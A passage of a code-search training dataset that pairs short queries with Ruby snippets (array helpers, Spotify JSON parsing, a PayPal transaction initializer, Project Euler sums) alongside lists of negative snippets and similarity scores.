"def get_result_array(args={})\n nums = args[:nums] \n bonus = args[:bonus]\n\n get_relevant_drawings({nums: nums, bonus: bonus}).map do |d| \n { \n :draw_date => d.draw_date.strftime('%a %b %d, %Y'), \n :pick_one => { :num => d.pick_one, :matched => is_matched?(d.pick_one,nums) }, \n :pick_two => { :num => d.pick_two, :matched => is_matched?(d.pick_two, nums) }, \n :pick_three => { :num => d.pick_three, :matched => is_matched?(d.pick_three, nums) }, \n :pick_four => { :num => d.pick_four, :matched => is_matched?(d.pick_four, nums) }, \n :pick_five => { :num => d.pick_five, :matched => is_matched?(d.pick_five, nums) }, \n :bonus_one => { :num => d.bonus_one, :matched => d.bonus_one == bonus }, \n :matches_count => d.matches_count(nums), \n :bonus_match => d.has_bonus_match(bonus)\n }\n end\n end",
"def add_and_subtract_array(n1, n2)\n add = n1 + n2\n sub = n1 - n2\n [add, sub]\nend",
"def pairs\n @pieces.combination(2).to_a\n end",
"def pairs\n @pieces.combination(2).to_a\n end",
"def squares\r\n [@a1, @a2, @a3, @b1, @b2, @b3, @c1, @c2, @c3]\r\n \r\nend",
"def array_of_array_multi(array)\n # YOUR CODE HERE\n multiArr = array.map{ |arr| arr.map{ |num| num * num } }\n p multiArr\n p array\n # array\nend",
"def fromTo(arr, from, to)\n resultArr = Array.new\n arr.each do |int|\n if int == from\n resultArr << to\n else\n resultArr << int\n end\n end\n return resultArr\nend"
] |
[
"0.6579444",
"0.6547201",
"0.6281557",
"0.6135942",
"0.6132275",
"0.61030716",
"0.6090717",
"0.6062853",
"0.6001048",
"0.5987987",
"0.59759295",
"0.5956772",
"0.5941902",
"0.59374934",
"0.59264755",
"0.59157026",
"0.589297",
"0.586374",
"0.586374",
"0.58619434",
"0.5849862",
"0.58473825",
"0.5828795",
"0.58261985",
"0.5825304",
"0.5822252",
"0.58170456",
"0.58038694",
"0.5777538",
"0.5773833",
"0.5767945",
"0.57655144",
"0.57511353",
"0.5743332",
"0.5743146",
"0.57390887",
"0.5737562",
"0.57246196",
"0.5712705",
"0.569956",
"0.5695799",
"0.5682318",
"0.56762505",
"0.5672178",
"0.5671157",
"0.56663394",
"0.5648469",
"0.56199735",
"0.5615348",
"0.56095326",
"0.55899674",
"0.55840635",
"0.5579651",
"0.5578041",
"0.5577687",
"0.55747366",
"0.55658937",
"0.5557364",
"0.5554543",
"0.554605",
"0.5541426",
"0.55412203",
"0.55374557",
"0.5530747",
"0.5524991",
"0.55219007",
"0.5518049",
"0.55042017",
"0.5502969",
"0.54888016",
"0.54883295",
"0.5484994",
"0.5479741",
"0.5479741",
"0.5479716",
"0.5465947",
"0.5464636",
"0.5458583",
"0.5445254",
"0.54410434",
"0.5433906",
"0.54266536",
"0.54251575",
"0.54222333",
"0.5417949",
"0.5417801",
"0.53997815",
"0.539805",
"0.539431",
"0.5392928",
"0.5386675",
"0.5386352",
"0.5384459",
"0.53841376",
"0.5370641",
"0.5360158",
"0.5349742",
"0.5349742",
"0.5343956",
"0.5336911",
"0.5332222"
] |
0.0
|
-1
|
args << " if args.empty?
|
def parse_json(json)
case json["type"]
when "track"
{
title: json["name"],
artist: json["artists"].map { |i| i["name"] }.join(", "),
album: json["album"]["name"],
thumbnail: json["album"]["images"].sort_by { |i| i["height"] }.last["url"],
length: json["duration_ms"].to_i / 1000.0,
preview_url: json["preview_url"],
}
when "album"
{
}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_args(args)\n args.empty? || args.last.blank? ? nil : args\n end",
"def add_empty_arg_if_ends_in_option(args, option)\n de_option(args.last) == option.long ? args + [\"\"] : args\n end",
"def is_command_line_arg_empty(arg)\n arg.nil? or arg.empty?\nend",
"def not _args\n \"not _args;\" \n end",
"def check_no_extra_args!\n if @argv.length > 0\n Braid::Command.handle_error(\n Braid::BraidError.new('Extra argument(s) passed to command.'))\n end\n end",
"def test_empty\r\n args = Args.new\r\n assert_equal false, args.check_args(\" \")\r\n end",
"def flag _args\n \"flag _args;\" \n end",
"def not_empty!(*args)\n if args.any?{|arg| arg.nil? or arg.to_s.empty?}\n coercion_error!\n end\n args\n end",
"def first_non_empty(*args)\n while !args.empty?\n ret = args.shift\n return ret unless ret.to_s.empty?\n end\n return ''\n end",
"def an_argument(*arguments)\n return \"You didn't give me any arguments.\" if arguments == []\n string = \"You gave me #{arguments.size} argument\"\n arguments.size == 1 ? string << \" and it is \" : string << \"s and they are \"\n if arguments.size > 1\n last = arguments.last\n arguments.pop\n end\n arguments.each {|argument| string << \"\\\"#{argument}\\\", \"}\n !last.nil? ? string.chop.chop<< \" and \\\"#{last}\\\".\" : string.chop.chop << \".\"\nend",
"def underwater _args\n \"underwater _args;\" \n end",
"def empty?(*args)\n args.flatten.any? {|arg| (arg || '').strip.empty? }\n end",
"def argv; argline.split(/ +/) unless argline.nil?; end",
"def empty?(*args)\n args.flatten.any? {|arg| (arg || '').strip.empty? }\n end",
"def add_cmd_args(str)\n @cmd_args << \" #{str} \"\n end",
"def add_cmd_args(str)\n @cmd_args << \" #{str} \"\n end",
"def arguments\n \"\"\n end",
"def any_args?\n @any_args\n end",
"def any_args?\n @any_args\n end",
"def reassemble_the(args, flag=nil)\n assembled = \"\"\n args.unshift flag if flag\n args.each { |a| assembled += \" #{a}\" }\n assembled.strip!\n end",
"def join_with_indent_or_spaces(args)\n if args.count >= 5\n joined = args.join(\",\\n \")\n \"\\n #{joined}\"\n else\n args.join(', ')\n end\n end",
"def musketeer *values\n values.join '' unless values.include? nil\n end",
"def test_no_arg\n\tassert_output(nil, abort) {GoldRush.argchecker()}\n end",
"def arguments_given?\n !@arguments.empty?\n end",
"def join(delimiter); @args.join(delimiter) end",
"def if_nil(argument)\n if argument == nil \n \"\"\n else\n argument\n end\n end",
"def check_if_user_gave_input\n abort(\"mkdiruby: missing input\") if ARGV.empty?\n abort(\"mkdiruby: input contains more than one argument\") if ARGV.count > 1\nend",
"def generation_code\n super.insert(-2, '#{\\'?\\' + args.last.to_query unless args.last.empty?}')\n end",
"def build_args(prefix = nil, args)\n pre = prefix ? prefix + \" \" : \"\"\n args.inject(\"\") {|str, arg| str << pre + arg + \" \"}\n end",
"def cmdarg=(_arg0); end",
"def cmdarg=(_arg0); end",
"def cmdarg=(_arg0); end",
"def parse_catchall\n bail_args(@argv.join(' ')) if(@argv.length != 0)\n end",
"def _prefix_arg0(args, prefix)\n if args.size > 0 && !args[0].nil? && !args[0].include?(prefix)\n args[0] = prefix + args[0]\n end\n args\nend",
"def greeting(args)\r\n greet = args[:greet] || \"Hi\"\r\n title = args[:title] || \"Citizen\"\r\n name = args[:name] \r\n puts \"#{greet} #{title} #{name}\"\r\nend",
"def fix_system_is_last_arg(argv)\n index = ARGV.index(\"--system\") or return\n value = argv[index + 1] or return\n\n unless value =~ /^-/ || value =~ /^[A-Z_]/\n ARGV.insert(index + 1, \"\")\n end\nend",
"def func4(*args)\n if args.length==0\n puts \"no arguments\\n\"\n elsif args.length==1\n puts (\"one arguemnet = \"+args[0]+\"\\n\")\n elsif args.length>1\n puts (\"more than arguments\")\n puts args\n end\nend",
"def ensure_any_args\n if ARGV.size == 0\n $stderr.puts \"ERROR: Must provide the name of a koan\"\n exit -1\n end\nend",
"def nothing?\n\t\tjoin('').strip.empty?\n\tend",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def terminator=(_arg0); end",
"def function(argument1, argument2, *splat)\n puts argument1\n puts argument2\n #Is there a better way to detect an empty splat argument?\n if splat == []\n puts \"empty splat!\"\n else\n #Iterate over a variable number of arguments.\n splat.each { |splat_n| puts splat_n }\n end\nend",
"def test_no_arg\n\tassert_output(nil, abort) {GoldRush.argchecker(-1)}\n end",
"def empty_action\n cli.argv << '-h'\n end",
"def isAbleToBreathe _args\n \"isAbleToBreathe _args;\" \n end",
"def enq(arg0)\n end",
"def default _args\n \"default _args;\" \n end",
"def crew _args\n \"crew _args;\" \n end",
"def say_hello_4 name1, name2\n if name1.empty? or name2.empty?\n return \"Who are you?!\"\n end\n # Doesn't reach the last line because we used return\n \"hello, #{name1} and #{name2}\"\nend",
"def myshelljoin argv\n argv.map{|x| x.index(' ') ? \"\\\"#{x}\\\"\" : x }.join(' ')\n end",
"def add_argument(arg); end",
"def add_argument(arg); end",
"def add_argument(arg); end",
"def any_args(first_arg, *mid_args, last_arg)\n puts \"First Argument: #{first_arg}, Last Argument: #{last_arg}\"\n end",
"def setup_args_valid?(argsArr)\r\n if nil==argsArr[0] or argsArr[0]==\"\"\r\n return \"Bot token cannot be empty or nil.\"\r\n elsif nil==argsArr[1] or argsArr[1]==\"\"\r\n return \"Bot clientId cannot be empty or nil.\"\r\n elsif nil==argsArr[2]\r\n return \"Bot command prefix cannot be nil.\"\r\n end\r\n\r\n return nil\r\n end",
"def inflamed _args\n \"inflamed _args;\" \n end",
"def empty?(*args, **_arg1, &block); end",
"def empty_argv\n ARGV.length.times{ ARGV.pop }\n end",
"def append *arg\n\t\t\t\n\t\t\t@orient.update { \"set #{@name.to_s} = #{@name} || #{arg.to_or} \"}[@name] if check_if_complete\n\t\t\t@orient.reload!\n\t\tend",
"def extra_args; end",
"def one_of(*args)\n args.each {|x|\n return to_joined_str(x) if x\n }\n\n \"\"\nend",
"def puts_one(args1)\n\tputs \"args: #{args1}.\"\nend",
"def normalize_args(args)\n return args if args.nil?\n args.pop if args.size > 0 && args.last == '--'\n args\n end",
"def greet(name=\"\")\n if name==\"\"\n puts \"Greetings!\"\n else\n puts \"Welcome, #{name}\"\n end\nend",
"def say_hello4(name1, name2)\n if name1.empty? or name2.empty?\n return \"Who are you?!\"\n end\n # Doesn't reach the last line because we used return\n \"hello, #{name1} and #{name2}\"\nend",
"def removeGoggles _args\n \"removeGoggles _args;\" \n end",
"def wrong_num_parameters?\n (ARGV.size != 1)\n end",
"def has_splat_args?\n !!(args && @args[-1] && @args[-1][0][/^\\*/])\n end",
"def command_join_string!\n (@mode == :pipe) ? \" | \" : \" && \"\n end",
"def args=(_arg0); end",
"def args=(_arg0); end",
"def args=(_arg0); end",
"def args=(_arg0); end",
"def args=(_arg0); end",
"def argue(argument)\n return \"#{argument}\"\nend",
"def no_options_in_arguments?\n ARGV.grep(/^-/).empty? # Match args that start with - (or --). Those are the options.\n end",
"def argument_string(args)\n args.inject([]) do |opts, opt|\n opts << (opt =~ /^-/ ? opt : opt.inspect)\n end.join(' ') \n end",
"def binocular _args\n \"binocular _args;\" \n end",
"def validate_arguments()\n usage unless ARGV.count > 0\nend",
"def strip_arguments\n []\n end",
"def removeUniform _args\n \"removeUniform _args;\" \n end",
"def list_join(*args)\n args.count == 1 ? \" #{args[0]}\" : \"#{$/}* #{args.join(\"#{$/}* \")}\"\n end",
"def arguments_valid?\n true if @commands.length > 0\n end",
"def args_defined?\n @args_def && @args_def.args.size > 0\n end",
"def append_rutabaga!(a_string_param, an_array_param)\n a_string_param << \"rutabaga\"\n an_array_param << \"rutabaga\"\nend",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end"
] |
[
"0.7281519",
"0.7248637",
"0.6822138",
"0.6371708",
"0.6279414",
"0.625189",
"0.6053999",
"0.6009087",
"0.59904957",
"0.59859973",
"0.59656316",
"0.59419245",
"0.5936906",
"0.5927096",
"0.5880387",
"0.5880387",
"0.5847994",
"0.58446515",
"0.58446515",
"0.5841122",
"0.5826194",
"0.58253515",
"0.5718684",
"0.5715575",
"0.57108146",
"0.5704572",
"0.570144",
"0.5698537",
"0.5684432",
"0.5684393",
"0.5684393",
"0.5684393",
"0.5667305",
"0.5664931",
"0.56630546",
"0.5660058",
"0.5654561",
"0.5647671",
"0.5642226",
"0.56309915",
"0.56309915",
"0.56309915",
"0.5630045",
"0.5594207",
"0.5591479",
"0.5590867",
"0.5587392",
"0.55832237",
"0.5575445",
"0.5566034",
"0.5556803",
"0.555022",
"0.55479586",
"0.55479586",
"0.55479586",
"0.5532776",
"0.55303156",
"0.5529068",
"0.55290234",
"0.55227005",
"0.5516777",
"0.5515664",
"0.5514112",
"0.5512678",
"0.55104816",
"0.55103177",
"0.549686",
"0.54809695",
"0.5480335",
"0.5479902",
"0.5468156",
"0.54624355",
"0.54624355",
"0.54624355",
"0.54624355",
"0.54624355",
"0.5460422",
"0.5453083",
"0.5439781",
"0.5439114",
"0.54337364",
"0.54309595",
"0.5430232",
"0.5429824",
"0.54266816",
"0.5425307",
"0.5414704",
"0.5412361",
"0.5412361",
"0.5412361",
"0.5412361",
"0.5412361",
"0.5412361",
"0.5412361",
"0.5412361",
"0.5412361",
"0.5412361",
"0.5412361",
"0.5412361",
"0.5412361",
"0.5412361"
] |
0.0
|
-1
|
rubocop:disable Metrics/AbcSize rubocop:disable Metrics/CyclomaticComplexity rubocop:disable Metrics/PerceivedComplexity rubocop:disable Metrics/MethodLength
|
def initialize(hash = {})
@timestamp = hash['L_TIMESTAMP'] || nil
@timezone = hash['L_TIMEZONE'] || nil
@type = hash['L_TYPE'] || nil
@email = hash['L_EMAIL'] || nil
@name = hash['L_NAME'] || nil
@transaction_id = hash['L_TRANSACTIONID'] || nil
@status = hash['L_STATUS'] || nil
@amount = (hash['L_AMT'] || nil).to_f
@currency_code = hash['L_CURRENCYCODE'] || nil
@fee_amount = (hash['L_FEEAMT'] || nil).to_f
@net_amount = (hash['L_NETAMT'] || nil).to_f
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def implementation; end",
"def implementation; end",
"def probers; end",
"def strategy; end",
"def refutal()\n end",
"def schubert; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def used?; end",
"def offences_by; end",
"def intensifier; end",
"def private_method\n end",
"def isolated; end",
"def isolated; end",
"def operations; end",
"def operations; end",
"def suivre; end",
"def custom; end",
"def custom; end",
"def internal; end",
"def executor; end",
"def executor; end",
"def executor; end",
"def initialize\n \n end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def common\n \n end",
"def spec; end",
"def spec; end",
"def celebration; end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def requirements; end",
"def initialize\n \n end",
"def checks; end",
"def initialize\n\n end",
"def initialize\n\n end",
"def ignores; end",
"def apply\n end",
"def internship_passed; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def prepareForReuse; end",
"def villian; end",
"def anchored; end",
"def processor; end",
"def weber; end",
"def who_we_are\r\n end",
"def initialize\n\t\t\n\tend",
"def initialize() end",
"def identify; end",
"def missing; end",
"def used\n raise NotImplementedError\n end",
"def ignore; end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n # nothing here for now\n end",
"def initialize\n super()\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end",
"def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end",
"def initialize # rubocop:disable Lint/UselessMethodDefinition\n super()\n end",
"def appraisals; end",
"def appraisals; end",
"def initialize\r\n\r\n end",
"def operation; end",
"def formation; end",
"def overrides; end",
"def sitemaps; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end"
] |
[
"0.73630476",
"0.615412",
"0.615412",
"0.6032553",
"0.5965464",
"0.5951271",
"0.58832294",
"0.58139944",
"0.58139944",
"0.58139944",
"0.58139944",
"0.5730861",
"0.5728308",
"0.5709761",
"0.563326",
"0.5627984",
"0.5627984",
"0.5620393",
"0.5620393",
"0.5603432",
"0.55856967",
"0.55856967",
"0.55536723",
"0.5543704",
"0.5543704",
"0.5543704",
"0.55407596",
"0.5534505",
"0.5534505",
"0.55188334",
"0.55151576",
"0.55151576",
"0.5505002",
"0.54971397",
"0.54971397",
"0.54971397",
"0.54971397",
"0.5481496",
"0.5480257",
"0.54732186",
"0.54732186",
"0.5455157",
"0.54437095",
"0.54417026",
"0.54407346",
"0.54407346",
"0.54407346",
"0.54407346",
"0.54407346",
"0.54407346",
"0.54407346",
"0.54407346",
"0.54407346",
"0.54407346",
"0.54407346",
"0.54194456",
"0.54071474",
"0.54061764",
"0.5399739",
"0.53948075",
"0.5394678",
"0.538927",
"0.5382315",
"0.5376089",
"0.5369806",
"0.5360583",
"0.53552896",
"0.53489923",
"0.53489923",
"0.53489923",
"0.53489923",
"0.53489923",
"0.53489923",
"0.53489923",
"0.53489923",
"0.53489923",
"0.53489923",
"0.5346987",
"0.53463554",
"0.53460395",
"0.53460395",
"0.53460395",
"0.53315353",
"0.53315353",
"0.53315353",
"0.5326995",
"0.5326995",
"0.532499",
"0.53203833",
"0.53157645",
"0.53152",
"0.52998567",
"0.5296934",
"0.5296934",
"0.5296934",
"0.5296934",
"0.5296934",
"0.5296934",
"0.5296934",
"0.5296934",
"0.5296934"
] |
0.0
|
-1
|
ids = ["928", "136094", "1488", "144722", "926", "937", "765", "791", "834", "111114", "8162", "723", "7662", "900", "1312", "608", "136166", "244856", "1464", "758", "9522", "761", "1361", "140731", "140425", "8234", "918", "9920", "771", "555", "839", "553", "939", "136718", "110810", "1456", "1338", "604", "943", "10422", "781", "11077", "576", "11098", "830", "814", "539", "113646", "113645", "1305", "787", "1470", "925", "38171", "9726", "733", "924", "875", "1521", "695", "1436", "930", "310277", "8240", "681", "1326", "622", "6831", "144721", "922", "662", "856", "642", "646", "641", "1400", "541", "889", "890", "914", "832", "1046", "852", "849", "145135", "8049", "584", "15228", "862", "12351", "739", "1027", "845", "1145", "942", "597", "657", "803", "554", "8096", "760", "35448", "867", "7630", "258392", "258079", "904", "1401", "883", "666", "1358", "116389", "915", "1462", "1041", "8108", "1285", "12350", "836", "110998", "12935", "1489", "871", "1402", "821", "1137", "1261", "1364", "549", "1522", "112294", "12330", "8238", "7629", "15267", "1347", "1373", "697", "1472", "879", "1444", "1403", "1342", "12928", "1262", "866", "1390", "935", "1397", "1058", "12936", "8128", "1315", "1336", "138763", "245296", "313766", "1457", "1365", "113700", "1136", "1299", "133598", "241377", "593", "1307", "6707", "12843", "6700", "6827", "838", "940", "865", "1478", "831", "712", "1313", "899", "108653", "7608", "575", "948", "143336", "552", "301568", "324992", "138292", "135448", "805", "256871", "9072", "8171", "561", "306425", "802", "8041", "811", "590", "736", "827", "7665", "1139", "807", "9336", "682", "143586", "9910", "136096", "313767", "7654", "1070", "709", "9921", "571", "692", "1468", "312902", "700", "38169", "870", "780", "826", "850", "655", "15466", "631", "672", "851", "880", "1329", "15107", "330306", "896", "1475", "1349", "1408", "713", "1407", "1409", "1303", "1284", "727", "822", "192074", "140300", "749", "8046", "595", "8239", "1272", "15045", "8047", "15053", "15052", "929", "15064", "15054", "645", "15192", "8097", "1114", "1138", "7689", "9335", "12346", "1113", "7996", "842", "304250", "12937", "1513", "654", "7988", "140224", "38172", "15123", "38168", "38167", "573", "38170", "15055", "1465", "9887", "8230", "7598", "7625", "20398", "8109", "20448", "8024", "252638", "8026", "8028", "945", "8209", "548", "20315", "675", "8396", "8093", "11442", "818", "877", "8204", "627", "7590", "1043", "7589", "558", "8048", "789", "847", "634", "8100", "906", "8236", "623", "8101", "527", "8180", "792", "8331", "1467", "9073", "9311", "112252", "7990", "35442", "1528", "7817", "7833", "1035", "8200", "7672", "134718", "9310", "35632", "1304", "12708", "15195", "1066", "9926", "8061", "664", "252741", "810", "683", "1317", "35429", "113250", "35612", "1518", "1421", "12938", "12127", "113115", "12137", "788", "874", "7583", "7986", "579", "1068", "12930", "578", "1511", "144617", "572", "605", "1316", "12445", "1318", "9917", "311978", "9913", "7671", "34126", "891", "1348", "1302", "12130", "919", "1289", "820", "146004", "8398", "801", "1368", "113695", "611", "1350", "663", "748", "745", "882", "594", "947", "108665", "859", "112007", "1512", "110330", "884", "248780", "1051", "1410", "864", "1362", "1450", "680", "1466", "872", "869", "1294", "763", "8066", "8112", "12908", "12126", "772", "113640", "8067", "643", "648", "7643", "835", "587", "15199", "644", "603", "7617", "860", "671", "7618", "670", "912", "7995", "305319", "7882", "1319", "944", "7597", "113647", "1463", "8912", "7638", "598", "8133", "613", "136958", "7639", "35556", "7562", "737", "24254", "574", "7569", "7696", "140223", "8228", "14872", "111977", "35437", "7678", "22024", "9591", "12858", "12929", "7721", "8118", "15113", "7683", "7585", "7564", "35644", "15049", "7682", "8175", "22023", "35493", "7593", "7727", "8911", "35424", "35445", "12859", "9319", "9262", "8392", "8034", "632", "710", "854", "109325", "141982", "649", "888", "525", "220364", "828", "562", "908", "911", "913", "336341", "711", "819", "577", "596", "690", "898", "635", "265216", "812", "777", "133580", "887", "588", "551", "1487", "1371", "691", "7642", "936", "1069", "8129", "741", "1405", "591", "767", "714", "796", "910", "253268", "1089", "774", "782", "582", "735", "886", "335657", "799", "853", "797", "1270", "693", "1435", "112575", "638", "823", "303448", "934", "923", "679", "873", "8035", "674", "905", "660", "1271", "878", "323345", "628", "800", "1333", "144484", "563", "916", "12934", "793", "12549", "806", "653", "894", "895", "556", "798", "917", "267599", "892", "217373", "1533", "846", "813", "317722", "535", "1036", "794", "920", "844", "696", "217374", "1047", "1034", "931", "265193", "1301", "927", "876", "135093", "652", "858", "265346", "266546", "647", "658", "1086", "633", "656", "885", "335970", "843", "734", "868", "560", "1091", "258077", "1062", "960", "112253", "665", "848", "704", "113249", "708", "536", "1534", "938", "142049", "897", "689", "109413", "933", "135434", "946", "699", "694", "857", "840", "804", "907", "863", "610", "614", "903", "687", "108697", "335959", "740", "305049", "901", "136125", "881", "1044", "941", "244447", "841", "744", "909", "1090", "8051", "7976", "12379", "15465", "540", "705", "1320", "816", "1049", "742", "743", "817", "1360", "1451", "1030", "636", "1359", "659", "855", "661", "113424", "724", "308596", "784", "621", "755", "990", "235718", "861", "1179", "9312", "9337", "8207", "8167", "35453", "7609", "8019", "8010", "1147", 1088 ]
|
def save_and_annotate!(id)
initial_path = "#{INITIAL_DIRECTORY}/#{id}.jpg"
annotated_path = "#{ANNOTATED_DIRECTORY}/#{id}"
info = @scraper.load_info(id)
image = @scraper.download_image(id)
@scraper.save_image(image, initial_path)
@annotater.annotate(initial_path, info).write(annotated_path)
rescue Exception => e; puts e # Don't Care
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def p13\n\tnumbers = [\n\t\t37107287533902102798797998220837590246510135740250,\n\t\t46376937677490009712648124896970078050417018260538,\n\t\t74324986199524741059474233309513058123726617309629,\n\t\t91942213363574161572522430563301811072406154908250,\n\t\t23067588207539346171171980310421047513778063246676,\n\t\t89261670696623633820136378418383684178734361726757,\n\t\t28112879812849979408065481931592621691275889832738,\n\t\t44274228917432520321923589422876796487670272189318,\n\t\t47451445736001306439091167216856844588711603153276,\n\t\t70386486105843025439939619828917593665686757934951,\n\t\t62176457141856560629502157223196586755079324193331,\n\t\t64906352462741904929101432445813822663347944758178,\n\t\t92575867718337217661963751590579239728245598838407,\n\t\t58203565325359399008402633568948830189458628227828,\n\t\t80181199384826282014278194139940567587151170094390,\n\t\t35398664372827112653829987240784473053190104293586,\n\t\t86515506006295864861532075273371959191420517255829,\n\t\t71693888707715466499115593487603532921714970056938,\n\t\t54370070576826684624621495650076471787294438377604,\n\t\t53282654108756828443191190634694037855217779295145,\n\t\t36123272525000296071075082563815656710885258350721,\n\t\t45876576172410976447339110607218265236877223636045,\n\t\t17423706905851860660448207621209813287860733969412,\n\t\t81142660418086830619328460811191061556940512689692,\n\t\t51934325451728388641918047049293215058642563049483,\n\t\t62467221648435076201727918039944693004732956340691,\n\t\t15732444386908125794514089057706229429197107928209,\n\t\t55037687525678773091862540744969844508330393682126,\n\t\t18336384825330154686196124348767681297534375946515,\n\t\t80386287592878490201521685554828717201219257766954,\n\t\t78182833757993103614740356856449095527097864797581,\n\t\t16726320100436897842553539920931837441497806860984,\n\t\t48403098129077791799088218795327364475675590848030,\n\t\t87086987551392711854517078544161852424320693150332,\n\t\t59959406895756536782107074926966537676326235447210,\n\t\t69793950679652694742597709739166693763042633987085,\n\t\t41052684708299085211399427365734116182760315001271,\n\t\t65378607361501080857009149939512557028198746004375,\n\t\t35829035317434717326932123578154982629742552737307,\n\t\t94953759765105305946966067683156574377167401875275,\n\t\t88902802571733229619176668713819931811048770190271,\n\t\t25267680276078003013678680992525463401061632866526,\n\t\t36270218540497705585629946580636237993140746255962,\n\t\t24074486908231174977792365466257246923322810917141,\n\t\t91430288197103288597806669760892938638285025333403,\n\t\t34413065578016127815921815005561868836468420090470,\n\t\t23053081172816430487623791969842487255036638784583,\n\t\t11487696932154902810424020138335124462181441773470,\n\t\t63783299490636259666498587618221225225512486764533,\n\t\t67720186971698544312419572409913959008952310058822,\n\t\t95548255300263520781532296796249481641953868218774,\n\t\t76085327132285723110424803456124867697064507995236,\n\t\t37774242535411291684276865538926205024910326572967,\n\t\t23701913275725675285653248258265463092207058596522,\n\t\t29798860272258331913126375147341994889534765745501,\n\t\t18495701454879288984856827726077713721403798879715,\n\t\t38298203783031473527721580348144513491373226651381,\n\t\t34829543829199918180278916522431027392251122869539,\n\t\t40957953066405232632538044100059654939159879593635,\n\t\t29746152185502371307642255121183693803580388584903,\n\t\t41698116222072977186158236678424689157993532961922,\n\t\t62467957194401269043877107275048102390895523597457,\n\t\t23189706772547915061505504953922979530901129967519,\n\t\t86188088225875314529584099251203829009407770775672,\n\t\t11306739708304724483816533873502340845647058077308,\n\t\t82959174767140363198008187129011875491310547126581,\n\t\t97623331044818386269515456334926366572897563400500,\n\t\t42846280183517070527831839425882145521227251250327,\n\t\t55121603546981200581762165212827652751691296897789,\n\t\t32238195734329339946437501907836945765883352399886,\n\t\t75506164965184775180738168837861091527357929701337,\n\t\t62177842752192623401942399639168044983993173312731,\n\t\t32924185707147349566916674687634660915035914677504,\n\t\t99518671430235219628894890102423325116913619626622,\n\t\t73267460800591547471830798392868535206946944540724,\n\t\t76841822524674417161514036427982273348055556214818,\n\t\t97142617910342598647204516893989422179826088076852,\n\t\t87783646182799346313767754307809363333018982642090,\n\t\t10848802521674670883215120185883543223812876952786,\n\t\t71329612474782464538636993009049310363619763878039,\n\t\t62184073572399794223406235393808339651327408011116,\n\t\t66627891981488087797941876876144230030984490851411,\n\t\t60661826293682836764744779239180335110989069790714,\n\t\t85786944089552990653640447425576083659976645795096,\n\t\t66024396409905389607120198219976047599490197230297,\n\t\t64913982680032973156037120041377903785566085089252,\n\t\t16730939319872750275468906903707539413042652315011,\n\t\t94809377245048795150954100921645863754710598436791,\n\t\t78639167021187492431995700641917969777599028300699,\n\t\t15368713711936614952811305876380278410754449733078,\n\t\t40789923115535562561142322423255033685442488917353,\n\t\t44889911501440648020369068063960672322193204149535,\n\t\t41503128880339536053299340368006977710650566631954,\n\t\t81234880673210146739058568557934581403627822703280,\n\t\t82616570773948327592232845941706525094512325230608,\n\t\t22918802058777319719839450180888072429661980811197,\n\t\t77158542502016545090413245809786882778948721859617,\n\t\t72107838435069186155435662884062257473692284509516,\n\t\t20849603980134001723930671666823555245252804609722,\n\t\t53503534226472524250874054075591789781264330331690,\n\t]\n\n\tsum = numbers.reduce(:+)\n\tsum.to_s[0..9].to_i\nend",
"def make_ranges(ids)\n \tint_array = ids.collect{|s| s.to_i}\n\n\tint_array = int_array.sort\n\tnew_ids = []\n\tr = []\n\tz = int_array[0].to_i\n\tr[0] = z\n\tint_array.each do |n|\n\t if n > z+1\n\t \tnew_ids << r\n\t \tr = [n]\n\t else\n\t r[1] = n\n\t \tend\n\t \tz = n\n\tend\n\tnew_ids << r\n\tnew_ids\n end",
"def samples_values\n %w(\n 7-84794-00160-2\n 0-85798-02872-6\n 8-92675-00010-8\n 0-97546-10200-8\n 7-29469-63104-3\n 7-26299-10020-6\n 0-87447-21872-4\n 0-88593-12002-2\n 0-80696-09642-6\n 7-33952-99710-3\n 0-87110-31277-3\n 0-13357-80199-2\n 6-64228-48662-8\n 0-29679-36042-0\n 0-83085-30096-8\n 0-85000-01163-8\n 7-26299-10020-6\n 8-53739-00002-1\n 6-52935-10001-2\n 0-83085-90701-3\n 0-89819-79688-5\n 0-10986-00303-2\n 0-85000-01213-0\n 8-43700-203230\n 1-88985-00013-7\n 8-437004-998163\n 0-87396-00410-2\n 8-435053-384036\n 0-82896-78040-2\n 0-89636-46000-6\n 0-85000-01211-6\n 0-18138-20902-8\n 0-87512-92005-7\n 0-80887-49374-4\n 0-80732-24701-0\n 0-85000-01054-9\n 0-83300-09551-8\n 0-85000-0103702\n 0-88534-00143-4\n 0-81308-83747-5\n 0-31259-01849-2\n 8-92186-00025-3\n 0-88593-10005-5\n 8-51718-00002-4\n 0-83837-00616-2\n 0-83085-20022-0\n 0-40426-99251-0\n 8-53763-00102-5\n 0-88553-09349-6\n 0-96619-66555-6\n 7-26319-10001-8\n 0-87356-40512-3\n 0-00579-00005-0\n 0-71570-02009-5\n 0-81753-05020-7\n 0-85155-00003-7\n 7-28691-44674-6\n 0-21130-51506-6\n 0-87512-92005-7\n 0-12894-84511-7\n 7-15126-00001-7\n 0-18138-20902-8\n 0-80887-49385-0\n 0-12354-08770-5\n 0-12354-08765-1\n 7-24826-02125-3\n 0-89121-18852-1\n 0-80696-05750-2\n 0-98652-90000-7\n 8-58517-00043-9\n 